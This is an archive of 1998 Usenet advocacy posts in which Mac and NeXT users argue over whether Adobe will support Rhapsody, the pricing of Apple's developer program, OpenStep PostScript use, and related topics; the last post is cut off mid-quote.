References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul>
In article <01bd6a66$55617260$32f0bfa8@davidsul>, "NeXT Newbie"
<macghod@concentric.net> wrote:
> WAIT WAIT WAIT!!
> Scott just did a good job of getting rid of my fears, but now Zico has
> brought them
> right back :(
> Who is right?
>
>
> Adobe didn't make any sort of public statement of the type.
> > >
> > > Some representative (unnamed) claimed that they weren't
> > >looking at it in a MacWeek quote. Hardly a public statement of
> > >direction from Adobe proper.
> >
> >
> > It was an Adobe *spokeswoman*. That sounds pretty official.
> > Certainly Adobe can't be training their spokespeople to just
> > make things up off the top of their heads.
What you have is:
1. Adobe's CEO gave 4 reasons for their problems. None of them involved
the Mac market as a whole.
2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
Without a name or title (or at least an official statement), it's
meaningless--it could have been the janitor.
I'll take the CEO's statements.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <CrEETNm1HZY$@cc.usu.edu>
From: "Howard R. Cole" <edx@cc.usu.edu>
Date: 17 Apr 98 09:34:59 MDT
References: <SCOTT.98Apr15232615@slave.doubleu.com> <6h5t68$3mb@shelob.afs.com>
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In <6h5t68$3mb@shelob.afs.com> Gregory H. Anderson wrote:
> Scott Hess writes
> > Draw is a object drawing program. If a drawing program only needs %.5
> > PS code to run under OpenStep, imagine how much a non-drawing program
> > will need! Better get that Red Book, eh?
>
> In the past, I have posted similar statistics for PasteUp (page layout)
> and WriteUp (word processor). Some people just don't want to believe.
On the other hand, I've written a satellite-tracking/sensor-modeling
utility (Rendezvous.app) which draws maps, 3D views as seen from the
field-of-view of the satellite. trajectories of comets/asteroids through
the solar system, and displays of current sensor focal plane array
pixel state. This required beaucoup custom postscript code. About
10% of the sixty thousand or so total lines is postscript for drawing
those custom views.
Of course my application is a little out of the mainstream for most
OpenStep applications (boy is that an understatement), and your point
that the vast majority of OpenStep apps will require very little or
no postscript coding is generally true.
- HRC -
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 17 Apr 1998 18:10:19 GMT
Message-ID: <01bd6a66$55617260$32f0bfa8@davidsul>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com>
WAIT WAIT WAIT!!
Scott just did a good job of getting rid of my fears, but now Zico has
brought them
right back :(
Who is right?
Adobe didn't make any sort of public statement of the type.
> >
> > Some representative (unnamed) claimed that they weren't
> >looking at it in a MacWeek quote. Hardly a public statement of
> >direction from Adobe proper.
>
>
> It was an Adobe *spokeswoman*. That sounds pretty official.
> Certainly Adobe can't be training their spokespeople to just
> make things up off the top of their heads.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 17 Apr 1998 18:53:10 GMT
Message-ID: <01bd6a6c$5204cb20$32f0bfa8@davidsul>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <01bd689d$48e281c0$33f0bfa8@davidsul> <6h53jl$9sp$10@ironhorse.plsys.co.uk>
> > You are talking about getting just the cds without the seeds for $200,
I
> > take it?
> > I thought this was a option BEFORE this program was introduced as well?
> > From what I have seen the $200 option wasnt just announced by apple,
what
> > was announced by apple was a $500 plan and the $3500 plan. Their was
NO
> > $200 plan introduced, I assumed it was their all along.
> >
> *If* this is the case (my impression is that it isn't, but corrections
> welcome) then it is disingenuous of you to claim "prices were increased
with
> no new services offered", since on this item price was not increased.
No, this is absolutely postively NOT NOT NOT NOT disingenuous!! Can I
emphasize this any more?
1) the anouncement by apple about the developer program is about 3, count
them THREE programs, these are, a) the free online program (which is not
new, nothing new was added to the same stuff that has been free for quite a
while) b) the $500 program, and c) the $3500 program. THis $200 program
was not in the announcement
2) the $200 program, according to several sources, WAS INCREASED!!! It was
$150!!
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 18:15:07 GMT
Message-ID: <01bd6a67$014ad8a0$32f0bfa8@davidsul>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <B15BE559-12F47A@207.217.155.43> <6h7i38$58j$7@ironhorse.plsys.co.uk>
> > Deal with it.
> >
> Hmm, OK.
> Apple just changed the developer program details. Deal with that.
Or call Apple and demand a refund, or call your credit card company and
tell them they changed things and to stop payment and give you a refund.
One credit card company has already said it APPEARS as if what apple did
was not legal (the contract which states they can change things to whatever
they like, that is)
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 14:26:10 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-1704981426100001@archbald-13.slip.uiuc.edu>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com>
In article <MPG.fa15f20e91f57819896f4@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > What you have is:
> >
> > 1. Adobe's CEO gave 4 reasons for their problems. None of them involved
> > the Mac market as a whole.
> >
> > 2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
> > Without a name or title (or at least an official statement), it's
> > meaningless--it could have been the janitor.
> >
> > I'll take the CEO's statements.
>
> Of course you will, it supports your viewpoint.
You're right. It would be better to believe the comments of an unamed
source than the CEO of the company. After all, what the hell does the CEO
of the company know? Heck, nothing a CEO states to the press means
anything. I'm sure he has no idea what's going on in the company, and
certainly wouldn't know anything about the causes of problems the company
has. Definitely nothing he says can be construed as truth or indication of
truth.
It's always best to believe an unnamed source in an article that
contradicts the official account. Unnamed sources quoted in articles are
much more likely to be valid. It's better to speculate, extrapolate, and
interpolate information when you don't have it and use that as proof to
support your bias.
Sheesh, is your agenda ever apparent in this newsgroup. (But then, so
should mine be too I guess. This is Mac _advocacy_ though.)
Instead of stating absolutely that Adobe will not support Rhapsody, why
don't we wait and see what they do? Instead of portraying rumors as fact
and making predictions about an already uncertain subject based on
incomplete information colored by biased points of view, why don't we wait
and see?
Oh, that's right. You won't do that because it doesn't support your viewpoint.
(Turn and turn about.)
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 13:28:48 -0700
Organization: Netcom
Message-ID: <fretwiz-1704981328480001@den-co32-48.ix.netcom.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com>
In article <MPG.fa15f20e91f57819896f4@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > What you have is:
> >
> > 1. Adobe's CEO gave 4 reasons for their problems. None of them involved
> > the Mac market as a whole.
> >
> > 2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
> > Without a name or title (or at least an official statement), it's
> > meaningless--it could have been the janitor.
> >
> > I'll take the CEO's statements.
>
>
> Of course you will, it supports your viewpoint.
And Jason will take the janitors viewpoint, hardly a shock. I'll bet all
of the business acumen Jason has was gleaned from a janitor at an insane
asylum.
> --
> A world without the Mac is a step closer to utopia.
World Book Dictionary
Utopia - a visionary, IMPRACTICAL system of political or social perfection.
(emphasis mine) Sounds like PC world...
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 17 Apr 1998 12:35:02 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6h87cm$d5m$1@xmission.xmission.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul>
In comp.sys.next.advocacy NeXT Newbie <macghod@concentric.net> wrote:
: WAIT WAIT WAIT!!
: Scott just did a good job of getting rid of my fears, but now Zico has
: brought them
: right back :(
: Who is right?
Both opinions have validity. But neither is right.
The scientific fact is, Adobe will either release Rhapsody products or
they won't.
You can think of Adobe's plan to release Rhapsody products as you would
the classic Schroedinger experiment. You can't tell if the product is
alive or dead until you look inside and take a measurement. You can argue
all day long about whether the cat is dying due to the sounds it is
making, but unless you look, you don't really know, 'cause cats, like
authorized and unauthorized employees alike, are well-known to make
sounds, complain to The Katt and The Knife, etc.
That said, I sent an email to John Warnock about a year ago and got a
favorable response. But Dog itself only knows if the plans have changed
since then. (Dog is subtle, and sometimes malicious.)
...............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 12:53:24 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1704981253240001@dante.eng.uci.edu>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com>
In article <MPG.fa15f20e91f57819896f4@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>In article Joe Ragosta, joe.ragosta@dol.net says...
>> I'll take the CEO's statements.
>
>Of course you will, it supports your viewpoint.
>
>--
>A world without the Mac is a step closer to utopia.
Ah, Senor Openmind speaks.
Seriously, given direct statements by a CEO or statements by unnamed
sources, which should you believe? If you toss in the various observations
that Adobe developers have gone to Rhapsody programming kitchens and that
anytime Lattitude is mentioned, Adobe's name also seems to come up, it
would be reasonable to assume that we should expect to see *something* out
of Adobe.
-Bob Cassidy
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: FYI: MS Development program
Date: 17 Apr 1998 20:12:22 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6a2b$12d57940$04387880@test1>
Just thought I would throw this out following the discussions on Apple's
developer program.
Microsoft Developers Network:
Online: free (access to web pages)
Library Subscription: $200
Professional Subscription: $499
Universal Subscription: $2000 - $2500
More details can be found at:
http://www.microsoft.com/msdn/join/subscriptions.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 13:35:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15D0C1B-35BC6@206.165.43.62>
References: <6h7p8t$58j$8@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> Oooh, gosh. You remember when Greg Andreson, president of AFS answered
> a
> question in comp.sys.next.* And Stan Jirman, president of Caffiene. And
> Wil
> Shipley, president of Omni Group. And...
>
And their investment banker was lurking in these groups and answered the
question, also?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 17 Apr 1998 20:35:21 GMT
Organization: Digital Fix Development
Message-ID: <6h8ee9$54s$1@news.digifix.com>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <01bd689d$48e281c0$33f0bfa8@davidsul> <6h53jl$9sp$10@ironhorse.plsys.co.uk> <01bd6a6c$5204cb20$32f0bfa8@davidsul>
In-Reply-To: <01bd6a6c$5204cb20$32f0bfa8@davidsul>
On 04/17/98, "NeXT Newbie" wrote:
<snip>
>
>No, this is absolutely postively NOT NOT NOT NOT disingenuous!!
Can I
>emphasize this any more?
>1) the anouncement by apple about the developer program is about 3,
count
>them THREE programs, these are, a) the free online program (which is
not
>new, nothing new was added to the same stuff that has been free for
quite a
>while) b) the $500 program, and c) the $3500 program. THis $200
program
>was not in the announcement
>2) the $200 program, according to several sources, WAS INCREASED!!!
It was
>$150!!
>
As far as Apple is concerned, (this from the person who is
in-charge of the programs) the online-with-CD's is a program that is
VERY important, and has been lost in the communication.
Apple announced 3 programs, but in reality, they consider it
to be 4 programs.
Also, while some of that stuff online stuff has been free for
quite a while, Apple has made a public commitment to keeping it free
now. These things do take time to roll out, and I'd be surprised if
the rolling out of this free stuff hasn't been done, in part, due to
the changes that were just announced.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rfuller@genre.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Fri, 17 Apr 1998 14:30:32 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h8akv$ol4$1@nnrp1.dejanews.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <35359e86.0@206.25.228.5>
And can any of you tell me what the fuque any of this politically
philosophical crap has to do with NeXT/Mac advocacy?
In article <35359e86.0@206.25.228.5>,
jkheit@xtdl.com wrote:
>
> Michael Peck <ECK@CONVEX.COM> wrote:
> > Check again. The United States Constitution was written by a
> > Congress of individuals who had no governmental authority whatsoever
> > in the context of that Congress. The Constitution was independently
> > ratified by the thirteen colonial States.
>
> > Which government body, exactly, is responsible for the United
> > States Constitution, John?
>
> The colonial state governments.
>
> > > Last time I checked, only Congress and the President in
> > > conjunction (barring a congressional override) can change the
> > > constitution.
>
> > More evidence that the Constitution limits the power of the
> > government, not the other way around. That's what you were trying
> > to say, right?
>
> More evidence that sleep depravation will generates some pretty
> incredible blatherings on my part. %-)
>
> > > It's all government action. At a certain point, *pure*
> > > libertarianism starts to sound like anarchy.
>
> > I don't know what you mean by "*pure*" Libertarianism; it sounds
> > like you've extrapolated to extremes certain characterists which
> > you hold to be definitive. I doubt you really know what Libertarianism
> > stands for.
>
> You're probably right on me not knowing. I just know it from the
> popular press, which means a trite knowledge. What I hear many
> purported libertarins espouse is the minimization of government
> involvement. Taken to its absurd extreme, a purification if you
> will, it seems like that minimization could result in no government
> involvement.
>
> > > I don't believe *true* libertarianism abhors all government
> > > action. They want to keep it to an absolute minimum. That
> > > includes constitutions, changes to it, defense, and basic
> > > facilities to keep order.
>
> > Constitution is an inherently extra-government entity. The whole
> > point behind Constitutionalism is that it governs government and
> > public equally. If government is not subject to the dictates of
>
> So do many other laws. Many laws describe, not only what individual
> citizens must do, but what the government, may, must, and may not
> do. The Constitution is not alone in this capacity.
>
> > the Constitution, the Constitution is a sham and the government
> > is a Divine Right autocracy. Call it what you will, the authority
>
> I agree.
>
> > of the government is derived from somewhere; if a government
>
> The authority, ultimatly flows from the people. The people that
> agree to be bound and abide by the government. Nothing stops
> everyone, tomorrow, just saying, eh, heck with them stinky laws.
> No one would even have to bother going through any official legal
> procedure to do it. We could all just go to the beach and eat pie.
> Not likely, but a theoretical possibility.
>
> If I got things straight (take this with a grain of salt, I'm going
> on 49 hours with no sleep %-), we came to colonies. The colonies
> had these little provisional governments formed to take care of
> mundane government kind of things. We broke off from England and
> those colonial governments, with representatives, came up with the
> constitutions. The constitution was always in the hands of some
> government body throughout the history of the US. I may well have
> this wrong. I haven't been a big student of the federalist papers.
>
> > which disregards the Constitution is fundamentally a democracy,
> > then democracy itself is a statist political system. I think the
> > United States of 1998 generally reinforces that notion.
>
> Well, it's a representative government. That means we have government
> folks going through government processes, supposedly representing
> the people's will. But I think things like prohibition show just
> how that translates.
>
> > > I think there is such a reliance on government in libertarianism,
> > > though a minimalist one, and that is what keeps it from sliding
> > > down the slippery slope into anarchy.
>
> > You are missing the fundamental point, John. It's not like I
> > haven't said this before. What keeps libertarianism from slipping
> > into anarchy is *Law*, not *government*.
>
> Who makes law? Government.
>
> > Let's take a moment and make sure we're all clear on this.
>
> I'm clearly missing your point. It might have a lot to do that I
> don't know much about libertarianism (among other things).
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> __________________________________________________________________
> monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
> NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
> Telepathy, It's coming... http://www.xtdl.com/~jkheit
> Franklin Pierce Law Center You're dangerous because you're honest
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 17 Apr 1998 19:53:08 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6h8bv4$66a@nrtphc11.bnr.ca>
References: <6glhks$ros$1@news01.deltanet.com> <merx-1704981909450001@komtur.pc.chemie.tu-darmstadt.de> <6h838o$57p$1@ironhorse.plsys.co.uk>
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In article <B15BAE84-274F0@206.165.43.169> Lawson English,
english@primenet.com writes:
>And the format for Macintosh OS volumes and files didn't change
>signficantly during that time, either, so of course it wasn't a major
>impediment. I'm pretty sure that he didn't create Stuffit during the
>MFS=>HFS transition, and that was the last major change for the MacOS
>until HFS+.
>
HFS vs HFS+ will not disrupt applications that operate on a file basis
with the filesystem.
The only notable incompatibilities are with programs that bypass the
MacOS file system.
Matthew Cromer matthew_cromer@iname.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 21:07:01 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6h8g9l$48$1@quasar.dimensional.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6eufov.fme.sal@panix3.panix.com> <6cvpdo$cmu$7@quasar.dimensional.com> <slrn6f7cgk.lhl.sal@panix3.panix.com> <34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com> <6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6jdmtr.3u2.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>>>>> their own version without owing NeXT (Apple) a cent, and the excellent folk
>>>>> in the GNUstep project are doing just that...
>>>> Because fortunetly, NeXT has no way to prevent GNUstep.
>>> If OpenStep is proprietary, why can't Apple stop GNUstep?
>> OpenSTep!? OpenStep is nothing more than a standard, which isn't propreitary.
> I did not claim that it was.
Well, OpenStep is not in question. NextStep is.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 17 Apr 1998 17:11:45 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h8gih$1so$1@crib.bevc.blacksburg.va.us>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com> <joe.ragosta-1704981630430001@wil69.dol.net>
In article <joe.ragosta-1704981630430001@wil69.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <MPG.fa15f20e91f57819896f4@news.itg.ti.com>, jmcn@msg.ti.com
> (Jason McNorton) wrote:
> > In article Joe Ragosta, joe.ragosta@dol.net says...
> > > What you have is:
> > > 1. Adobe's CEO gave 4 reasons for their problems. None of them involved
> > > the Mac market as a whole.
> > > 2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
> > > Without a name or title (or at least an official statement), it's
> > > meaningless--it could have been the janitor.
> > > I'll take the CEO's statements.
> > Of course you will, it supports your viewpoint.
> No. I just prefer using information from a named, high level source rather
> than unnamed sources spouting FUD.
Yeah, well _my_ unnamed source within Adobe says that Adobe's going to buy
Apple and rename MacOS to PhotoshopOS. Don't believe me? Haven't heard
anything about it in the press? Contradicts public statements from Adobe?
Well, tough. You clearly have no reason to believe any of those things
over my unnamed source. Want me to back up that claim? Sorry, my source
must remain nameless for reasons of confidentiality.
Sheesh. Some people.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 21:09:54 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6h8gf2$48$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <geordie-0904981511160001@130.130.117.53>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <geordie-0904981511160001@130.130.117.53> , Geordie Korper <geordie@chapman.com> wrote:
This one I just have to reply to... :)
> :And it is
> :well-known that imposing constraints on something never makes something
> :better.
> This has been bugging me for a few days. Placing constraints on something
> is often exactly what produces quality products. That is why Mac and NeXT
> applications are so supperior to their Windows competiton. There is a set
> of constraints that prevent you from making a scroll bar that moves
> horizontally when you drag it vertically. It is called the Human Interface
> Guidelines in the mac case and Interface Builder in the other (different
> levels of abstraction obviously). Without constraints you end up with
> things like X windows.
Well stated. Without constrants, the XConsortium developed the most
flexible, portible, modular windowing system in the history of the world.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 17 Apr 1998 14:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15D1508-574C5@206.165.43.62>
References: <6h8bv4$66a@nrtphc11.bnr.ca>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
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Matthew Cromer <matthew_cromer@iname.com> said:
> >
> HFS vs HFS+ will not disrupt applications that operate on a file basis
> with the filesystem.
>
> The only notable incompatibilities are with programs that bypass the
> MacOS file system.
I rather suspect that developers of an application that compresses files
need to have access to the most up-to-date version of hte OS, especially
when the file-format radically changes.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 17 Apr 1998 21:10:32 GMT
Organization: Idiom Communications
Message-ID: <6h8gg8$99h$1@news.idiom.com>
References: <6h0114$bnb$2@ns3.vrx.net> <B1598B35-5BAB4@206.165.43.216>
<3534431D.AD9C2AA6@trilithon.com> <SCOTT.98Apr15232615@slave.doubleu.com>
Mime-Version: 1.0
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Cc: scott@doubleu.com
Scott Hess may or may not have said:
-> Draw is a object drawing program. If a drawing program only needs %.5
-> PS code to run under OpenStep, imagine how much a non-drawing program
-> will need! Better get that Red Book, eh?
Something that's even more telling than that:
wc printPackage.ps
193 1037 8160 printPackage.ps
wc windowPackage.ps
1962 5384 35806 windowPackage.ps
So, all the ps code that implements the windowing system was done in 1,962
lines. All the ps code for printing took up only 193 lines.
BTW, I haven't run the diffs, but AFAIK, neither of these files has been
altered since around the time of NeXTStep 1.0.
-jcr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 17 Apr 1998 14:19:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15D1673-5C9FF@206.165.43.62>
References: <6h8ee9$54s$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Scott Anguish <sanguish@digifix.com> said:
> These things do take time to roll out, and I'd be surprised if
> the rolling out of this free stuff hasn't been done, in part, due to
> the changes that were just announced.
Be surprised. I know of nothing that wasn't available 2 years ago except
Metrowerk's CodeWarrior Lite, which was available on their web-site for
several months before this announcement.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 14:39:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15D1B33-6E7F3@206.165.43.62>
References: <6h8gib$hhj@newsb.netnews.att.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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gupta@kcopsrm.tm.tta.moc-mirror said:
> Hindi, Marathi and Sanskrit use the same script, Devanagari.
> Regardless, I imagine the DTP market is rather small. Also,
> cheap Pentium boxes are the machines of choice.
But Apple has a radically superior publishing system available in the form
of GX. Ready, Set, Go Global (which uses GX) ships with interface kits for
every language that Apple ships an OS for, which means that you can produce
newspapers and magazines with RSG Global that can be used to produce
virtually all of the text of an Indian newspaper using a single
application (which is quite impressive, if you've ever seen some of those
newspapers!).
Can cheap Pentium boxes be used the same way?
Dont forget that GX also allows Illustrator-level graphics to be integrated
with the text. I haven't seen what RSG Global does, graphics-wise, but it
is trivial to add graphics to a GX page -it's just another shape.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 13:44:58 -0500
Organization: Texas Instruments
Message-ID: <MPG.fa15f20e91f57819896f4@news.itg.ti.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> What you have is:
>
> 1. Adobe's CEO gave 4 reasons for their problems. None of them involved
> the Mac market as a whole.
>
> 2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
> Without a name or title (or at least an official statement), it's
